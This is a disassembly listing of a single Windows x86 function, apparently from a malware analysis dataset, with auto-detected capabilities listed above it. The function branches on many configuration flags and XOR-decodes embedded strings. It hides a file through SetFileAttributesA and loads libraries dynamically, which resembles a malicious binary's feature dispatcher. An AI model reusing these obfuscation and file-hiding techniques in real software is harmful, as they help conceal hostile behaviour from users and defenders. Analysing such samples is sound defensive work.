Function at 0x453060
Capabilities:
Create thread
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d9c06
mov eax, dword fs:[0]
push eax
sub esp, 0x160
push ebx
push esi
push edi
mov eax, dword [0x6d5760]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004524c0
cmp dword [0x7046a8], 1
jne 0x45309e
call fcn.004523e0
cmp dword [0x70470c], 0
jne 0x4530b0
cmp dword [0x704714], 1
jne 0x4530b5
call fcn.00451730
cmp dword [0x7046ec], 1
jne 0x4530c3
call fcn.0042d860
cmp dword [0x704718], 1
jne 0x4530d1
call fcn.0042d9a0
cmp dword [0x7046b8], 1
jne 0x4530eb
push 0
push 0
push 0x431c40
call fcn.005ba7ee
add esp, 0xc
cmp dword [0x70470c], 1
jne 0x4530f9
call fcn.0044c220
cmp dword [0x704714], 0
je 0x45310c
call fcn.0044bbc0
call fcn.0042d580
cmp dword [0x704720], 1
jne 0x45311a
call fcn.00440480
cmp dword [0x704724], 1
jne 0x453128
call fcn.00440b50
cmp dword [0x704758], 1
jne 0x453136
call fcn.00453760
cmp dword [0x704704], 1
jne 0x453144
call fcn.0044e360
cmp dword [0x70474c], 1
jne 0x453152
call fcn.00450530
cmp dword [0x704744], 1
jne 0x453169
cmp dword [0x7046b4], 0
jne 0x453169
call fcn.00451a90
cmp dword [0x704694], 1
jne 0x453595
mov dword [ebp - 0x10], 0x5f3868
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4531ca
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x4531c1
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x4531a8
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
push 0x725ec0
call fcn.0042bd40
push eax
call fcn.0043fee0
mov dword [ebp - 0x10], 0x5f38b8
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x453232
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x453229
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453210
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
push 0x725ec0
call fcn.0042bd40
push eax
call fcn.0043fee0
add esp, 0xc
cmp dword [0x7046f4], 1
jne 0x453341
mov dword [ebp - 0x10], 0x5ec704
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4532a7
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x45329e
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453285
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x16c]
call fcn.00430010
mov dword [ebp - 0x10], str.2b
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x453314
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x45330b
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x4532f2
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0042bd40
add esp, 8
lea ecx, [ebp - 0x16c]
call fcn.004308e0
lea ecx, [ebp - 0x16c]
mov dword [ebp - 4], 0xffffffff
call fcn.00430290
cmp dword [0x704704], 1
jne 0x453675
lea eax, [ebp - 0x1c]
push eax
call fcn.005ba559
lea eax, [ebp - 0x1c]
push eax
call fcn.005ba2ba
mov dword [ebp - 0x10], 0x5efe14
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
je 0x4533ba
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x4533b1
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453398
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xc4]
call fcn.00430010
mov dword [ebp - 0x10], str._rwBmWjj
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x453427
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x45341e
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453405
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0042bd40
push dword [ebp - 0x14]
call fcn.005ba0ad
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0042bd40
mov dword [ebp - 0x10], str.2b
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4534a2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x453499
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453480
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0042bd40
mov dword [ebp - 0x10], 0x5ec798
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x453506
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x4534fd
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x4534e4
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0042bd40
add esp, 8
lea ecx, [ebp - 0xc4]
call fcn.004308e0
mov dword [ebp - 0x10], 0x5efe14
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x453575
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x45356c
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453553
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xc4]
mov dword [ebp - 4], 0xffffffff
call fcn.00430290
jmp 0x453675
cmp dword [0x7046a4], 1
jne 0x4535a3
call fcn.00441ce0
cmp dword [0x7046f0], 1
jne 0x4535b1
call fcn.00451490
cmp dword [0x704740], 1
jne 0x4535bf
call fcn.004331c0
cmp dword [0x7046ac], 1
jne 0x4535cd
call fcn.004307c0
cmp dword [0x704728], 1
jne 0x4535db
call fcn.00445970
cmp dword [0x7046b0], 1
jne 0x4535e9
call fcn.00430d60
cmp dword [0x704734], 1
jne 0x4535f7
call fcn.0043a150
cmp dword [0x70472c], 1
jne 0x453605
call fcn.00434310
cmp dword [0x704730], 1
jne 0x453613
call fcn.0043a9f0
cmp dword [0x704738], 1
jne 0x453621
call fcn.00439ba0
cmp dword [0x7046e8], 1
jne 0x45362f
call fcn.00434250
cmp dword [0x704700], 1
jne 0x45363d
call fcn.004441e0
cmp dword [0x7046dc], 1
jne 0x45364b
call fcn.0043f550
cmp dword [0x704748], 1
jne 0x453659
call fcn.0043f2d0
cmp dword [0x70473c], 1
jne 0x453667
call fcn.00444a80
cmp dword [0x7046fc], 1
jne 0x453675
call fcn.00444fa0
cmp dword [0x70469c], 1
jne 0x453683
call fcn.00451a00
cmp dword [0x7046a0], 1
jne 0x453691
call fcn.00445950
cmp dword [0x704750], 1
jne 0x45369f
call fcn.004519d0
cmp dword [0x7046b4], 1
jne 0x4536bb
cmp dword [0x704694], 0
jne 0x4536bb
call fcn.00432c00
call fcn.00432c20
cmp dword [0x7046e4], 1
jne 0x4536d0
push dword [0x70466c]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7046e0], 1
jne 0x453739
mov dword [ebp - 0x10], 0x5f398c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x453732
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x453729
sub edi, ecx
jmp 0x453710
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x453710
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7047dc], 1
jne 0x453747
call fcn.00451740
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret